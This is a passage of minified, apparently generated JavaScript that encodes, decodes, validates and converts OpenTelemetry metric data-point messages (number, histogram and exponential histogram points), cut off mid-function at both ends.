Object.defineProperty(z.prototype,"value",{get:FA.oneOfGetter(w=["asDouble","asInt"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.startTimeUnixNano!=null&&Object.hasOwnProperty.call(J,"startTimeUnixNano"))O.uint32(17).fixed64(J.startTimeUnixNano);if(J.timeUnixNano!=null&&Object.hasOwnProperty.call(J,"timeUnixNano"))O.uint32(25).fixed64(J.timeUnixNano);if(J.asDouble!=null&&Object.hasOwnProperty.call(J,"asDouble"))O.uint32(33).double(J.asDouble);if(J.exemplars!=null&&J.exemplars.length)for(var X=0;X<J.exemplars.length;++X)uA.opentelemetry.proto.metrics.v1.Exemplar.encode(J.exemplars[X],O.uint32(42).fork()).ldelim();if(J.asInt!=null&&Object.hasOwnProperty.call(J,"asInt"))O.uint32(49).sfixed64(J.asInt);if(J.attributes!=null&&J.attributes.length)for(var X=0;X<J.attributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.attributes[X],O.uint32(58).fork()).ldelim();if(J.flags!=null&&Object.hasOwnProperty.call(J,"flags"))O.uint32(64).uint32(J.flags);return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.NumberDataPoint;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 7:{if(!(_.attributes&&_.attributes.length))_.attributes=[];_.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 2:{_.startTimeUnixNano=J.fixed64();break}case 3:{_.timeUnixNano=J.fixed64();break}case 4:{_.asDouble=J.double();break}case 6:{_.asInt=J.sfixed64();break}case 5:{if(!(_.exemplars&&_.exemplars.length))_.exemplars=[];_.exemplars.push(uA.opentelemetry.proto.metrics.v1.Exemplar.decode(J,J.uint32()));break}case 8:{_.flags=J.uint32();break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.attributes!=null&&J.hasOwnProperty("attributes")){if(!Array.isArray(J.attributes))return"attributes: array expected";for(var X=0;X<J.attributes.length;++X){var $=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.attributes[X]);if($)return"attributes."+$}}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano")){if(!FA.isInteger(J.startTimeUnixNano)&&!(J.startTimeUnixNano&&FA.isInteger(J.startTimeUnixNano.low)&&FA.isInteger(J.startTimeUnixNano.high)))return"startTimeUnixNano: integer|Long expected"}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(J.timeUnixNano)&&!(J.timeUnixNano&&FA.isInteger(J.timeUnixNano.low)&&FA.isInteger(J.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(J.asDouble!=null&&J.hasOwnProperty("asDouble")){if(O.value=1,typeof J.asDouble!=="number")return"asDouble: number expected"}if(J.asInt!=null&&J.hasOwnProperty("asInt")){if(O.value===1)return"value: multiple values";if(O.value=1,!FA.isInteger(J.asInt)&&!(J.asInt&&FA.isInteger(J.asInt.low)&&FA.isInteger(J.asInt.high)))return"asInt: integer|Long expected"}if(J.exemplars!=null&&J.hasOwnProperty("exemplars")){if(!Array.isArray(J.exemplars))return"exemplars: array expected";for(var X=0;X<J.exemplars.length;++X){var $=uA.opentelemetry.proto.metrics.v1.Exemplar.verify(J.exemplars[X]);if($)return"exemplars."+$}}if(J.flags!=null&&J.hasOwnProperty("flags")){if(!FA.isInteger(J.flags))return"flags: integer expected"}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.NumberDataPoint)return J;var O=new uA.opentelemetry.proto.metrics.v1.NumberDataPoint;if(J.attributes){if(!Array.isArray(J.attributes))throw TypeError(".opentelemetry.proto.metrics.v1.NumberDataPoint.attributes: array expected");O.attributes=[];for(var X=0;X<J.attributes.length;++X){if(typeof J.attributes[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.NumberDataPoint.attributes: object expected");O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.attributes[X])}}if(J.startTimeUnixNano!=null){if(FA.Long)(O.startTimeUnixNano=FA.Long.fromValue(J.startTimeUnixNano)).unsigned=!1;else if(typeof J.startTimeUnixNano==="string")O.startTimeUnixNano=parseInt(J.startTimeUnixNano,10);else if(typeof J.startTimeUnixNano==="number")O.startTimeUnixNano=J.startTimeUnixNano;else if(typeof J.startTimeUnixNano==="object")O.startTimeUnixNano=new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber()}if(J.timeUnixNano!=null){if(FA.Long)(O.timeUnixNano=FA.Long.fromValue(J.timeUnixNano)).unsigned=!1;else if(typeof J.timeUnixNano==="string")O.timeUnixNano=parseInt(J.timeUnixNano,10);else if(typeof J.timeUnixNano==="number")O.timeUnixNano=J.timeUnixNano;else if(typeof J.timeUnixNano==="object")O.timeUnixNano=new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber()}if(J.asDouble!=null)O.asDouble=Number(J.asDouble);if(J.asInt!=null){if(FA.Long)(O.asInt=FA.Long.fromValue(J.asInt)).unsigned=!1;else if(typeof J.asInt==="string")O.asInt=parseInt(J.asInt,10);else if(typeof J.asInt==="number")O.asInt=J.asInt;else if(typeof J.asInt==="object")O.asInt=new FA.LongBits(J.asInt.low>>>0,J.asInt.high>>>0).toNumber()}if(J.exemplars){if(!Array.isArray(J.exemplars))throw TypeError(".opentelemetry.proto.metrics.v1.NumberDataPoint.exemplars: array expected");O.exemplars=[];for(var X=0;X<J.exemplars.length;++X){if(typeof J.exemplars[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.NumberDataPoint.exemplars: object expected");O.exemplars[X]=uA.opentelemetry.proto.metrics.v1.Exemplar.fromObject(J.exemplars[X])}}if(J.flags!=null)O.flags=J.flags>>>0;return O},z.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.exemplars=[],X.attributes=[];if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.startTimeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.startTimeUnixNano=O.longs===String?"0":0;if(FA.Long){var $=new FA.Long(0,0,!1);X.timeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.timeUnixNano=O.longs===String?"0":0;X.flags=0}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano"))if(typeof J.startTimeUnixNano==="number")X.startTimeUnixNano=O.longs===String?String(J.startTimeUnixNano):J.startTimeUnixNano;else X.startTimeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.startTimeUnixNano):O.longs===Number?new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber():J.startTimeUnixNano;if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano"))if(typeof J.timeUnixNano==="number")X.timeUnixNano=O.longs===String?String(J.timeUnixNano):J.timeUnixNano;else X.timeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.timeUnixNano):O.longs===Number?new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber():J.timeUnixNano;if(J.asDouble!=null&&J.hasOwnProperty("asDouble")){if(X.asDouble=O.json&&!isFinite(J.asDouble)?String(J.asDouble):J.asDouble,O.oneofs)X.value="asDouble"}if(J.exemplars&&J.exemplars.length){X.exemplars=[];for(var _=0;_<J.exemplars.length;++_)X.exemplars[_]=uA.opentelemetry.proto.metrics.v1.Exemplar.toObject(J.exemplars[_],O)}if(J.asInt!=null&&J.hasOwnProperty("asInt")){if(typeof J.asInt==="number")X.asInt=O.longs===String?String(J.asInt):J.asInt;else X.asInt=O.longs===String?FA.Long.prototype.toString.call(J.asInt):O.longs===Number?new FA.LongBits(J.asInt.low>>>0,J.asInt.high>>>0).toNumber():J.asInt;if(O.oneofs)X.value="asInt"}if(J.attributes&&J.attributes.length){X.attributes=[];for(var _=0;_<J.attributes.length;++_)X.attributes[_]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.attributes[_],O)}if(J.flags!=null&&J.hasOwnProperty("flags"))X.flags=J.flags;return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.NumberDataPoint"},z}(),Y.HistogramDataPoint=function(){function z(H){if(this.attributes=[],this.bucketCounts=[],this.explicitBounds=[],this.exemplars=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.attributes=FA.emptyArray,z.prototype.startTimeUnixNano=null,z.prototype.timeUnixNano=null,z.prototype.count=null,z.prototype.sum=null,z.prototype.bucketCounts=FA.emptyArray,z.prototype.explicitBounds=FA.emptyArray,z.prototype.exemplars=FA.emptyArray,z.prototype.flags=null,z.prototype.min=null,z.prototype.max=null;var w;return Object.defineProperty(z.prototype,"_sum",{get:FA.oneOfGetter(w=["sum"]),set:FA.oneOfSetter(w)}),Object.defineProperty(z.prototype,"_min",{get:FA.oneOfGetter(w=["min"]),set:FA.oneOfSetter(w)}),Object.defineProperty(z.prototype,"_max",{get:FA.oneOfGetter(w=["max"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.startTimeUnixNano!=null&&Object.hasOwnProperty.call(J,"startTimeUnixNano"))O.uint32(17).fixed64(J.startTimeUnixNano);if(J.timeUnixNano!=null&&Object.hasOwnProperty.call(J,"timeUnixNano"))O.uint32(25).fixed64(J.timeUnixNano);if(J.count!=null&&Object.hasOwnProperty.call(J,"count"))O.uint32(33).fixed64(J.count);if(J.sum!=null&&Object.hasOwnProperty.call(J,"sum"))O.uint32(41).double(J.sum);if(J.bucketCounts!=null&&J.bucketCounts.length){O.uint32(50).fork();for(var X=0;X<J.bucketCounts.length;++X)O.fixed64(J.bucketCounts[X]);O.ldelim()}if(J.explicitBounds!=null&&J.explicitBounds.length){O.uint32(58).fork();for(var X=0;X<J.explicitBounds.length;++X)O.double(J.explicitBounds[X]);O.ldelim()}if(J.exemplars!=null&&J.exemplars.length)for(var X=0;X<J.exemplars.length;++X)uA.opentelemetry.proto.metrics.v1.Exemplar.encode(J.exemplars[X],O.uint32(66).fork()).ldelim();if(J.attributes!=null&&J.attributes.length)for(var X=0;X<J.attributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.attributes[X],O.uint32(74).fork()).ldelim();if(J.flags!=null&&Object.hasOwnProperty.call(J,"flags"))O.uint32(80).uint32(J.flags);if(J.min!=null&&Object.hasOwnProperty.call(J,"min"))O.uint32(89).double(J.min);if(J.max!=null&&Object.hasOwnProperty.call(J,"max"))O.uint32(97).double(J.max);return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.HistogramDataPoint;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 9:{if(!(_.attributes&&_.attributes.length))_.attributes=[];_.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 2:{_.startTimeUnixNano=J.fixed64();break}case 3:{_.timeUnixNano=J.fixed64();break}case 4:{_.count=J.fixed64();break}case 5:{_.sum=J.double();break}case 6:{if(!(_.bucketCounts&&_.bucketCounts.length))_.bucketCounts=[];if((G&7)===2){var Z=J.uint32()+J.pos;while(J.pos<Z)_.bucketCounts.push(J.fixed64())}else _.bucketCounts.push(J.fixed64());break}case 7:{if(!(_.explicitBounds&&_.explicitBounds.length))_.explicitBounds=[];if((G&7)===2){var Z=J.uint32()+J.pos;while(J.pos<Z)_.explicitBounds.push(J.double())}else _.explicitBounds.push(J.double());break}case 8:{if(!(_.exemplars&&_.exemplars.length))_.exemplars=[];_.exemplars.push(uA.opentelemetry.proto.metrics.v1.Exemplar.decode(J,J.uint32()));break}case 10:{_.flags=J.uint32();break}case 11:{_.min=J.double();break}case 12:{_.max=J.double();break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.attributes!=null&&J.hasOwnProperty("attributes")){if(!Array.isArray(J.attributes))return"attributes: array expected";for(var X=0;X<J.attributes.length;++X){var $=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.attributes[X]);if($)return"attributes."+$}}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano")){if(!FA.isInteger(J.startTimeUnixNano)&&!(J.startTimeUnixNano&&FA.isInteger(J.startTimeUnixNano.low)&&FA.isInteger(J.startTimeUnixNano.high)))return"startTimeUnixNano: integer|Long expected"}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(J.timeUnixNano)&&!(J.timeUnixNano&&FA.isInteger(J.timeUnixNano.low)&&FA.isInteger(J.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(J.count!=null&&J.hasOwnProperty("count")){if(!FA.isInteger(J.count)&&!(J.count&&FA.isInteger(J.count.low)&&FA.isInteger(J.count.high)))return"count: integer|Long expected"}if(J.sum!=null&&J.hasOwnProperty("sum")){if(O._sum=1,typeof J.sum!=="number")return"sum: number expected"}if(J.bucketCounts!=null&&J.hasOwnProperty("bucketCounts")){if(!Array.isArray(J.bucketCounts))return"bucketCounts: array expected";for(var X=0;X<J.bucketCounts.length;++X)if(!FA.isInteger(J.bucketCounts[X])&&!(J.bucketCounts[X]&&FA.isInteger(J.bucketCounts[X].low)&&FA.isInteger(J.bucketCounts[X].high)))return"bucketCounts: integer|Long[] expected"}if(J.explicitBounds!=null&&J.hasOwnProperty("explicitBounds")){if(!Array.isArray(J.explicitBounds))return"explicitBounds: array expected";for(var X=0;X<J.explicitBounds.length;++X)if(typeof J.explicitBounds[X]!=="number")return"explicitBounds: number[] expected"}if(J.exemplars!=null&&J.hasOwnProperty("exemplars")){if(!Array.isArray(J.exemplars))return"exemplars: array expected";for(var X=0;X<J.exemplars.length;++X){var $=uA.opentelemetry.proto.metrics.v1.Exemplar.verify(J.exemplars[X]);if($)return"exemplars."+$}}if(J.flags!=null&&J.hasOwnProperty("flags")){if(!FA.isInteger(J.flags))return"flags: integer expected"}if(J.min!=null&&J.hasOwnProperty("min")){if(O._min=1,typeof J.min!=="number")return"min: number expected"}if(J.max!=null&&J.hasOwnProperty("max")){if(O._max=1,typeof J.max!=="number")return"max: number expected"}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.HistogramDataPoint)return J;var O=new uA.opentelemetry.proto.metrics.v1.HistogramDataPoint;if(J.attributes){if(!Array.isArray(J.attributes))throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.attributes: array expected");O.attributes=[];for(var X=0;X<J.attributes.length;++X){if(typeof J.attributes[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.attributes: object expected");O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.attributes[X])}}if(J.startTimeUnixNano!=null){if(FA.Long)(O.startTimeUnixNano=FA.Long.fromValue(J.startTimeUnixNano)).unsigned=!1;else if(typeof J.startTimeUnixNano==="string")O.startTimeUnixNano=parseInt(J.startTimeUnixNano,10);else if(typeof J.startTimeUnixNano==="number")O.startTimeUnixNano=J.startTimeUnixNano;else if(typeof J.startTimeUnixNano==="object")O.startTimeUnixNano=new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber()}if(J.timeUnixNano!=null){if(FA.Long)(O.timeUnixNano=FA.Long.fromValue(J.timeUnixNano)).unsigned=!1;else if(typeof J.timeUnixNano==="string")O.timeUnixNano=parseInt(J.timeUnixNano,10);else if(typeof J.timeUnixNano==="number")O.timeUnixNano=J.timeUnixNano;else if(typeof J.timeUnixNano==="object")O.timeUnixNano=new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber()}if(J.count!=null){if(FA.Long)(O.count=FA.Long.fromValue(J.count)).unsigned=!1;else if(typeof J.count==="string")O.count=parseInt(J.count,10);else if(typeof J.count==="number")O.count=J.count;else if(typeof J.count==="object")O.count=new FA.LongBits(J.count.low>>>0,J.count.high>>>0).toNumber()}if(J.sum!=null)O.sum=Number(J.sum);if(J.bucketCounts){if(!Array.isArray(J.bucketCounts))throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.bucketCounts: array expected");O.bucketCounts=[];for(var X=0;X<J.bucketCounts.length;++X)if(FA.Long)(O.bucketCounts[X]=FA.Long.fromValue(J.bucketCounts[X])).unsigned=!1;else if(typeof J.bucketCounts[X]==="string")O.bucketCounts[X]=parseInt(J.bucketCounts[X],10);else if(typeof J.bucketCounts[X]==="number")O.bucketCounts[X]=J.bucketCounts[X];else if(typeof J.bucketCounts[X]==="object")O.bucketCounts[X]=new FA.LongBits(J.bucketCounts[X].low>>>0,J.bucketCounts[X].high>>>0).toNumber()}if(J.explicitBounds){if(!Array.isArray(J.explicitBounds))throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.explicitBounds: array expected");O.explicitBounds=[];for(var X=0;X<J.explicitBounds.length;++X)O.explicitBounds[X]=Number(J.explicitBounds[X])}if(J.exemplars){if(!Array.isArray(J.exemplars))throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.exemplars: array expected");O.exemplars=[];for(var X=0;X<J.exemplars.length;++X){if(typeof J.exemplars[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.HistogramDataPoint.exemplars: object expected");O.exemplars[X]=uA.opentelemetry.proto.metrics.v1.Exemplar.fromObject(J.exemplars[X])}}if(J.flags!=null)O.flags=J.flags>>>0;if(J.min!=null)O.min=Number(J.min);if(J.max!=null)O.max=Number(J.max);return O},z.toObject=function(J,O){if(!O)O={};var X={};if(O.arrays||O.defaults)X.bucketCounts=[],X.explicitBounds=[],X.exemplars=[],X.attributes=[];if(O.defaults){if(FA.Long){var $=new FA.Long(0,0,!1);X.startTimeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.startTimeUnixNano=O.longs===String?"0":0;if(FA.Long){var $=new FA.Long(0,0,!1);X.timeUnixNano=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.timeUnixNano=O.longs===String?"0":0;if(FA.Long){var $=new FA.Long(0,0,!1);X.count=O.longs===String?$.toString():O.longs===Number?$.toNumber():$}else X.count=O.longs===String?"0":0;X.flags=0}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano"))if(typeof J.startTimeUnixNano==="number")X.startTimeUnixNano=O.longs===String?String(J.startTimeUnixNano):J.startTimeUnixNano;else X.startTimeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.startTimeUnixNano):O.longs===Number?new FA.LongBits(J.startTimeUnixNano.low>>>0,J.startTimeUnixNano.high>>>0).toNumber():J.startTimeUnixNano;if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano"))if(typeof J.timeUnixNano==="number")X.timeUnixNano=O.longs===String?String(J.timeUnixNano):J.timeUnixNano;else X.timeUnixNano=O.longs===String?FA.Long.prototype.toString.call(J.timeUnixNano):O.longs===Number?new FA.LongBits(J.timeUnixNano.low>>>0,J.timeUnixNano.high>>>0).toNumber():J.timeUnixNano;if(J.count!=null&&J.hasOwnProperty("count"))if(typeof J.count==="number")X.count=O.longs===String?String(J.count):J.count;else X.count=O.longs===String?FA.Long.prototype.toString.call(J.count):O.longs===Number?new FA.LongBits(J.count.low>>>0,J.count.high>>>0).toNumber():J.count;if(J.sum!=null&&J.hasOwnProperty("sum")){if(X.sum=O.json&&!isFinite(J.sum)?String(J.sum):J.sum,O.oneofs)X._sum="sum"}if(J.bucketCounts&&J.bucketCounts.length){X.bucketCounts=[];for(var _=0;_<J.bucketCounts.length;++_)if(typeof J.bucketCounts[_]==="number")X.bucketCounts[_]=O.longs===String?String(J.bucketCounts[_]):J.bucketCounts[_];else X.bucketCounts[_]=O.longs===String?FA.Long.prototype.toString.call(J.bucketCounts[_]):O.longs===Number?new FA.LongBits(J.bucketCounts[_].low>>>0,J.bucketCounts[_].high>>>0).toNumber():J.bucketCounts[_]}if(J.explicitBounds&&J.explicitBounds.length){X.explicitBounds=[];for(var _=0;_<J.explicitBounds.length;++_)X.explicitBounds[_]=O.json&&!isFinite(J.explicitBounds[_])?String(J.explicitBounds[_]):J.explicitBounds[_]}if(J.exemplars&&J.exemplars.length){X.exemplars=[];for(var _=0;_<J.exemplars.length;++_)X.exemplars[_]=uA.opentelemetry.proto.metrics.v1.Exemplar.toObject(J.exemplars[_],O)}if(J.attributes&&J.attributes.length){X.attributes=[];for(var _=0;_<J.attributes.length;++_)X.attributes[_]=uA.opentelemetry.proto.common.v1.KeyValue.toObject(J.attributes[_],O)}if(J.flags!=null&&J.hasOwnProperty("flags"))X.flags=J.flags;if(J.min!=null&&J.hasOwnProperty("min")){if(X.min=O.json&&!isFinite(J.min)?String(J.min):J.min,O.oneofs)X._min="min"}if(J.max!=null&&J.hasOwnProperty("max")){if(X.max=O.json&&!isFinite(J.max)?String(J.max):J.max,O.oneofs)X._max="max"}return X},z.prototype.toJSON=function(){return this.constructor.toObject(this,oK.util.toJSONOptions)},z.getTypeUrl=function(J){if(J===void 0)J="type.googleapis.com";return J+"/opentelemetry.proto.metrics.v1.HistogramDataPoint"},z}(),Y.ExponentialHistogramDataPoint=function(){function z(H){if(this.attributes=[],this.exemplars=[],H){for(var J=Object.keys(H),O=0;O<J.length;++O)if(H[J[O]]!=null)this[J[O]]=H[J[O]]}}z.prototype.attributes=FA.emptyArray,z.prototype.startTimeUnixNano=null,z.prototype.timeUnixNano=null,z.prototype.count=null,z.prototype.sum=null,z.prototype.scale=null,z.prototype.zeroCount=null,z.prototype.positive=null,z.prototype.negative=null,z.prototype.flags=null,z.prototype.exemplars=FA.emptyArray,z.prototype.min=null,z.prototype.max=null,z.prototype.zeroThreshold=null;var w;return Object.defineProperty(z.prototype,"_sum",{get:FA.oneOfGetter(w=["sum"]),set:FA.oneOfSetter(w)}),Object.defineProperty(z.prototype,"_min",{get:FA.oneOfGetter(w=["min"]),set:FA.oneOfSetter(w)}),Object.defineProperty(z.prototype,"_max",{get:FA.oneOfGetter(w=["max"]),set:FA.oneOfSetter(w)}),z.create=function(J){return new z(J)},z.encode=function(J,O){if(!O)O=l5.create();if(J.attributes!=null&&J.attributes.length)for(var X=0;X<J.attributes.length;++X)uA.opentelemetry.proto.common.v1.KeyValue.encode(J.attributes[X],O.uint32(10).fork()).ldelim();if(J.startTimeUnixNano!=null&&Object.hasOwnProperty.call(J,"startTimeUnixNano"))O.uint32(17).fixed64(J.startTimeUnixNano);if(J.timeUnixNano!=null&&Object.hasOwnProperty.call(J,"timeUnixNano"))O.uint32(25).fixed64(J.timeUnixNano);if(J.count!=null&&Object.hasOwnProperty.call(J,"count"))O.uint32(33).fixed64(J.count);if(J.sum!=null&&Object.hasOwnProperty.call(J,"sum"))O.uint32(41).double(J.sum);if(J.scale!=null&&Object.hasOwnProperty.call(J,"scale"))O.uint32(48).sint32(J.scale);if(J.zeroCount!=null&&Object.hasOwnProperty.call(J,"zeroCount"))O.uint32(57).fixed64(J.zeroCount);if(J.positive!=null&&Object.hasOwnProperty.call(J,"positive"))uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.encode(J.positive,O.uint32(66).fork()).ldelim();if(J.negative!=null&&Object.hasOwnProperty.call(J,"negative"))uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.encode(J.negative,O.uint32(74).fork()).ldelim();if(J.flags!=null&&Object.hasOwnProperty.call(J,"flags"))O.uint32(80).uint32(J.flags);if(J.exemplars!=null&&J.exemplars.length)for(var X=0;X<J.exemplars.length;++X)uA.opentelemetry.proto.metrics.v1.Exemplar.encode(J.exemplars[X],O.uint32(90).fork()).ldelim();if(J.min!=null&&Object.hasOwnProperty.call(J,"min"))O.uint32(97).double(J.min);if(J.max!=null&&Object.hasOwnProperty.call(J,"max"))O.uint32(105).double(J.max);if(J.zeroThreshold!=null&&Object.hasOwnProperty.call(J,"zeroThreshold"))O.uint32(113).double(J.zeroThreshold);return O},z.encodeDelimited=function(J,O){return this.encode(J,O).ldelim()},z.decode=function(J,O,X){if(!(J instanceof $6))J=$6.create(J);var $=O===void 0?J.len:J.pos+O,_=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint;while(J.pos<$){var G=J.uint32();if(G===X)break;switch(G>>>3){case 1:{if(!(_.attributes&&_.attributes.length))_.attributes=[];_.attributes.push(uA.opentelemetry.proto.common.v1.KeyValue.decode(J,J.uint32()));break}case 2:{_.startTimeUnixNano=J.fixed64();break}case 3:{_.timeUnixNano=J.fixed64();break}case 4:{_.count=J.fixed64();break}case 5:{_.sum=J.double();break}case 6:{_.scale=J.sint32();break}case 7:{_.zeroCount=J.fixed64();break}case 8:{_.positive=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.decode(J,J.uint32());break}case 9:{_.negative=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.decode(J,J.uint32());break}case 10:{_.flags=J.uint32();break}case 11:{if(!(_.exemplars&&_.exemplars.length))_.exemplars=[];_.exemplars.push(uA.opentelemetry.proto.metrics.v1.Exemplar.decode(J,J.uint32()));break}case 12:{_.min=J.double();break}case 13:{_.max=J.double();break}case 14:{_.zeroThreshold=J.double();break}default:J.skipType(G&7);break}}return _},z.decodeDelimited=function(J){if(!(J instanceof $6))J=new $6(J);return this.decode(J,J.uint32())},z.verify=function(J){if(typeof J!=="object"||J===null)return"object expected";var O={};if(J.attributes!=null&&J.hasOwnProperty("attributes")){if(!Array.isArray(J.attributes))return"attributes: array expected";for(var X=0;X<J.attributes.length;++X){var $=uA.opentelemetry.proto.common.v1.KeyValue.verify(J.attributes[X]);if($)return"attributes."+$}}if(J.startTimeUnixNano!=null&&J.hasOwnProperty("startTimeUnixNano")){if(!FA.isInteger(J.startTimeUnixNano)&&!(J.startTimeUnixNano&&FA.isInteger(J.startTimeUnixNano.low)&&FA.isInteger(J.startTimeUnixNano.high)))return"startTimeUnixNano: integer|Long expected"}if(J.timeUnixNano!=null&&J.hasOwnProperty("timeUnixNano")){if(!FA.isInteger(J.timeUnixNano)&&!(J.timeUnixNano&&FA.isInteger(J.timeUnixNano.low)&&FA.isInteger(J.timeUnixNano.high)))return"timeUnixNano: integer|Long expected"}if(J.count!=null&&J.hasOwnProperty("count")){if(!FA.isInteger(J.count)&&!(J.count&&FA.isInteger(J.count.low)&&FA.isInteger(J.count.high)))return"count: integer|Long expected"}if(J.sum!=null&&J.hasOwnProperty("sum")){if(O._sum=1,typeof J.sum!=="number")return"sum: number expected"}if(J.scale!=null&&J.hasOwnProperty("scale")){if(!FA.isInteger(J.scale))return"scale: integer expected"}if(J.zeroCount!=null&&J.hasOwnProperty("zeroCount")){if(!FA.isInteger(J.zeroCount)&&!(J.zeroCount&&FA.isInteger(J.zeroCount.low)&&FA.isInteger(J.zeroCount.high)))return"zeroCount: integer|Long expected"}if(J.positive!=null&&J.hasOwnProperty("positive")){var $=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.verify(J.positive);if($)return"positive."+$}if(J.negative!=null&&J.hasOwnProperty("negative")){var $=uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.Buckets.verify(J.negative);if($)return"negative."+$}if(J.flags!=null&&J.hasOwnProperty("flags")){if(!FA.isInteger(J.flags))return"flags: integer expected"}if(J.exemplars!=null&&J.hasOwnProperty("exemplars")){if(!Array.isArray(J.exemplars))return"exemplars: array expected";for(var X=0;X<J.exemplars.length;++X){var $=uA.opentelemetry.proto.metrics.v1.Exemplar.verify(J.exemplars[X]);if($)return"exemplars."+$}}if(J.min!=null&&J.hasOwnProperty("min")){if(O._min=1,typeof J.min!=="number")return"min: number expected"}if(J.max!=null&&J.hasOwnProperty("max")){if(O._max=1,typeof J.max!=="number")return"max: number expected"}if(J.zeroThreshold!=null&&J.hasOwnProperty("zeroThreshold")){if(typeof J.zeroThreshold!=="number")return"zeroThreshold: number expected"}return null},z.fromObject=function(J){if(J instanceof uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint)return J;var O=new uA.opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint;if(J.attributes){if(!Array.isArray(J.attributes))throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.attributes: array expected");O.attributes=[];for(var X=0;X<J.attributes.length;++X){if(typeof J.attributes[X]!=="object")throw TypeError(".opentelemetry.proto.metrics.v1.ExponentialHistogramDataPoint.attributes: object expected");O.attributes[X]=uA.opentelemetry.proto.common.v1.KeyValue.fromObject(J.attributes[X])}}if(J.startTimeUnixNano!=null){if(FA.Long)(O.startTimeUnixNano=FA.Long.fromValue(J.startTimeUnixNano)).unsigned=!1;else if(typeof J.startTimeUnixNano==="string")O.startTimeUnixNano=parseInt(J.startTimeUnixNano,10);else if(typeof J.startTimeUnixNano==="number")O.startTimeUnixNano=J.startTimeUnixNano;else 